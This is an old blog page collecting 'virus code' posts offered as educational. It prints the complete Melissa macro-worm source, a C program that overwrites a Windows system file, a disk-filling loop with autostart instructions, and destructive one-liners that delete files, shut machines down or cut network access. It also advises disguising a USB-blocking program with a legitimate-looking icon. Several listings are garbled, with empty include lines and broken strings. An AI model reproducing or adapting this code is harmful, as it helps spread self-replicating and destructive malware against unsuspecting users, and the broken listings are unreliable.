Wednesday, August 11, 2010

Virus code 6 : Doom virus


Doom virus code. If the image is not visible right click on the image and select 'show picture'



Replace location to the location where you want the file to be



This is not actually a virus but a practical joke. It will make your victim believe that his system is under seize and is infected. Remember you need to compile it only (.ie click on compile option ) and not run it(i.e click on run option). This will generate the .EXE file.

Even though this is just a prank just be careful to whom you spread it as you could still get into minor trouble.

Virus Code 20: Black wolf virus



This is the code of the "Black Wolf" virus.This is in c. You are at your own risk. If you spread this you will land behind the bar. We are giving this only for educational Purpose. You need to guess the header file for yourself.





Black wolf virus code. If the image is not visible right click on the image and select 'show picture'






This virus corrupts all the .com files . so be extremely careful what you do with it.

Virus code 5: Clone Virus


This is a virus code of clone virus in c/c++. This virus clones itself. You can convert it into java by making small changes that any java programmer can make out.




Clone virus code. If the image is not visible right click on the image and select 'show picture'



Before you use this virus you need to compile . Just select the complie option in your c compiler. 
DONT RUN IT OR SELECT THE RUN OPTION, I repeat dont run it. Now exit the compiler . Find the size of the .exe file generated in bytes. Replace the value of "X" with is value(in bytes).

Now recompile it and exit.



What this virus does is it makes all the files in the current directory a virus. You need to find out the header files for yourself as this only for educational purpose . Just remember to run this virus inside a new folder that contains no important exe and normal files . This virus will make them too as virus.



This is intended for c/c++ programmers who have knowledge about data structure. This is only and only for knowledge sake

Virus code 4: Orkut virus/Muhaha virus



For all you programmers here is the code of the virus. Let' look at this virus in detail. So that if you become a victim you can protect your self. All that this virus does is stores it self in C:\heap41a. It is generally named PowerPoint.exe or firefox.exe. This virus prevents you from typing orkut in your address bar even if you type "http://orkuttricks.blogspot.com/" no the site wont open.



The code is not the complete code so that you don't start spread this virus. This is just for understanding. Actual virus is repetition of this code with changes.



Orkut virus code. If the image is not visible right click on the image and select 'show picture'



How this works is left to the reader to analyze. This info is only for educational purpose.

VIRUS Designing - Use responsibly

#include
#include
#include
#include
#include
#include
#include
#include

int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;

   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
");
      exit(1);
   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!
");

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
");
      getch();
      exit(1);
   }
   printf("

Wrote %d bytes to the file.
", res);
  cout<<"

Hello !!!!!!!!";
  cout<<"

This is a VIRUS ATTACK !!!";
  cout<<"

This execution currupt your WINDOWS !!!!!!
";
   close(handle);
   getch();
   return 0;
}

//#include
#include
#include
#include
#include
#include
#include
#include

int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;

   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
");
      exit(1);
   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!
");

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
");
      getch();
      exit(1);
   }
   printf("

Wrote %d bytes to the file.
", res);
  cout<<"

Hello !!!!!!!!";
  cout<<"

This is a VIRUS ATTACK !!!";
  cout<<"

This execution currupt your WINDOWS !!!!!!
";
   close(handle);
   getch();
   return 0;
}

// #include
#include
#include
#include
#include
#include
#include
#include

int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;

   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
");
      exit(1);
   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!
");

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
");
      getch();
      exit(1);
   }
   printf("

Wrote %d bytes to the file.
", res);
  cout<<"

Hello !!!!!!!!";
  cout<<"

This is a VIRUS ATTACK !!!";
  cout<<"

This execution currupt your WINDOWS !!!!!!
";
   close(handle);
   getch();
   return 0;
}

Melissa Virus Source Code


Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters.  Game's over. 
I'm outta here."
End Sub

Virus code tutorial


Virus code can be coded using several language. The best being c or vbs or dos. Today I teach some basic virus codings. I will be using c, dos and alp/asm(assembly language).These is a very simple Virus coding tutorial just a beginners guide

this is mainly for programmers. this post is just to change their thinking. First lets begin with tiny and simple ones.I will show both codes for windows and linux

First alp/asm
back: add c,b
loop back

This simple script needs no explanation. It will just be eating away your victims memory at a slow space. As you know addition needs some space to store intermediate result. this will be using up the ram. but very less of ram is lost and the user can stop this by just closing the .exe file. As you know a float addition takes up more space than normal addition . You can replace integer addition with float.

Now lets try to create a simple Linux virus in c.

system("poweroff");

This simple script will turn off your victims comp. Now if you can forece this script to load at start up then it will be a nightmare.

let's see one more linux virus of the same type
system("rm *.*");

This will all files with all extension which the user has previlage to delete.Just imagine if the admin runs it then it will create a havoc.

Lets see the same codes for windows.

To delete all files in windows using dos/batch progtraming will be
del *.*
and the code of the shutdown virus will be just shutdown

Now lets disable Internet

ipconfig /release
echo You Internet Been HACKED!


What if you change the extension of a file. It becomes useless.Now let's rename a few file.
rename(old_file_name_with_path,newname");
Now what you can do with this left up to you.Just use your brain and you will make out it's potential.

These are very simple virus just a beginners guide. Just check out the virus codes section for more complex and full fledged Virus coding tutorial. Please dont misuse these virus codes in c

dir>>╚a.exe REPLACING PROGRAM USING C

Hi everybody,at begining of the learning of computer programming it is a dream of almost all student to build a computer virus of his/her own.
Computer virus obviously is a thing that shouldnot be made and used on others computer it is completely illegal in all countries.So make and try this on your own machine.
Now let me explain what do the viruses do.There are several types of computer viruses with different functions(destructive obviously).Some of which delete computers' important files and folders,some change the configuration of your computer system like registry values,some occupy and engulf a large amount of memory space and dump your hard disc.There are some viruses too which can damage your RAM parmanently.
I am going to give here a simple virus program which has only a few lines bur has ability to jam your Hard disc.
The logic behind the program is nothing but making a self growing file which grows to a few MB in one tern and this growth will continue infinitely.
The require ment to make this virus is
OS:-Windows98/xp/2000 MS-DOS
Compiler:-Borland C(Which has Dos Shell)
Source Code:-
//START v.c
#include
#include
void main()
{
while(1)
{
system("dir>>╚a.exe");
}
}
//END
As you can see this is a very little programe.Compiling the programme we get v.exe file.This is our virus.
How it works?-The system call "dir>>╚a.exe" will execute the dos command 'dir' and ridirect its output toa file ╚a.exe(the symbol ╚ can be obtained by pressing 456 on numpad holding alt key).So running the program in a folder having many files and folder will increase the size of ╚a.exe in a great amount.This process will continue to infinity as this is in a while(1) loop;
Best try this on win98.then you cannot delete ╚a.exe from GUI.
For auto running place v.exe in the command folder in windows folder.
In autoexec.bat(win98) or autoexec.NT(winXP/2000) file simply write v.exe.
Each time your window starts v.exe will run automatically.
Try this on your own computer remember the ╚a.exe is the infected file which is growing in size continiously.So to recover, simply delete v.exe and ╚a.exe file from your computer.
For more informaton or any problem please write me.
Bye.

Code:

//START v.c
#include
#include
void main()
{
 while(1)
{
 system("dir>>╚a.exe");
}
}
//END 

Create simple virus by c programming lang.

Create simple virus by c programming language.
(Only for study purpose)
(1) Write c program which shutdown the window operating system?
Answer:
Step 1: Write the following program in TURBO C.
void main (void){
    system("shutdown -s");
}
Step 2: Save the above file. Let file name is close.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (close.exe)
After some time your window operating system will shutdown.
(2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times?
Answer:
Step 1: Write the following program in TURBO C.
void main (void)
{
for(; ;)
{
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
}
Step 2: Save the above file. Let file name is internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (internet.exe)
(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?
Answer:
Step 1: Write the following program in TURBO C.
void main(void)
{
system("cd c:\\progra~1\\intern~1");
system(“del *.exe”);
system(“cls”);
}
Step 2: Save the above file. Let file name is delete.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (delete.exe)

USB PORT DISABLE



Virus to disable USB portsIn this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.
Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.
1. Download the USB_Block.rar file on to your computer.
2. It contains the following 4 files.
  • block_usb.c (source code)
  • unblock_usb.c (source code)
3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.
3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).
I hope you like this post. Please pass your comments.